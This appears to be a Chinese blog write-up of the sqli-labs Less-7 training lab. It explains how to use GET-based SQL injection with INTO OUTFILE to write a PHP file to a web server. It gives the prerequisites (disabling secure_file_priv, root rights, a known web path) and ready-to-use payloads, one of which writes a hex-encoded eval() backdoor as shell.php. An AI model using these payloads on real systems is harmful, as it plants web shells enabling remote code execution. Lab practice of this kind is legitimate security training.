当前位置: 首页 > news >正文

sqli-labs之Less-7 GET注入写shell

验证注入点:单引号报错,'))

根据提示,是想让我们试试写shell

第一个条件 secure_file_priv

写shell即MySQL需要对外写文件,但默认MySQL是不允许outfile来导出数据的,先动手在MySQL确认一下。

MySQL特性,secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。

secure-file-priv参数是用来限制LOAD DATA,SELECT ...OUTFILE,and LOAD_FILE()传到哪个指定目录的

    1、当secure_file_priv的值为null,表示限制mysqld不允许导入|导出
    2、当secure_file_prv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

重启mysql

第二个条件 必须是root权限

第三个条件 必须知道网站路径

利用报错得到网站路径;

利用函数select @@datadir得到mysql的路径,再推导网站路径

payload:

id=1')) union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile 'E:/PhpStudent/phpstudy_pro/WWW/sqlilabs/Less-7/shell.php' --+

id=1')) union select 1,"<?php phpinfo(); ?>",3 into outfile "E:\\PhpStudent\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\shell.php" --+

相关文章:

  • CPU与GPU之间的交互
  • 【C++】新手入门指南(上)
  • Linux-进度条小程序
  • webpack 中 chunks详解
  • 论文降重GPT指令-实侧有效从98%降低到8%
  • SQL注入相关知识
  • 【解决】torch引入过程中的ImportError: __nvJitLinkAddData_12_1, version libnvJitLink.so.12
  • 阿里云Clickhouse 冷热数据分层存储 实战记录
  • 递归下降 ll(1) 型文法 识别二元组文法分析
  • 从零开始学习 Lucene.Net:.NET Core 中的全文搜索与索引管理
  • [密码学基础]GMT 0002-2012 SM4分组密码算法 技术规范深度解析
  • Windows系统C盘深度清理指南
  • 指令与权限
  • 基于大语言模型的自动化单元测试生成系统及测试套件评估方法
  • 【多线程5】面试常考锁知识点
  • java ai 图像处理
  • Shiro-550 动调分析与密钥正确性判断
  • 【网络编程】TCP数据流套接字编程
  • 基础数学知识-线性代数
  • 【C++ Qt】信号和槽(内配思维导图 图文并茂 通俗易懂)
  • 为护航企业“出海”,“无问西东·中外商会”海上沙龙举行
  • 地铁口被吐槽像棺材?杭州地铁公司回应:是一个标志性出入口
  • 广西贵港干旱村民抽水救甘蔗,镇政府:已组织打井、布管
  • 火山总裁谭待:很多Agent的能力还停留在类似自动驾驶的L1阶段
  • 国际油价大跳水联动,国内汽油价格迎三年来最大跌幅
  • 铁路12306开售5月1日车票,目前系统安全平稳运行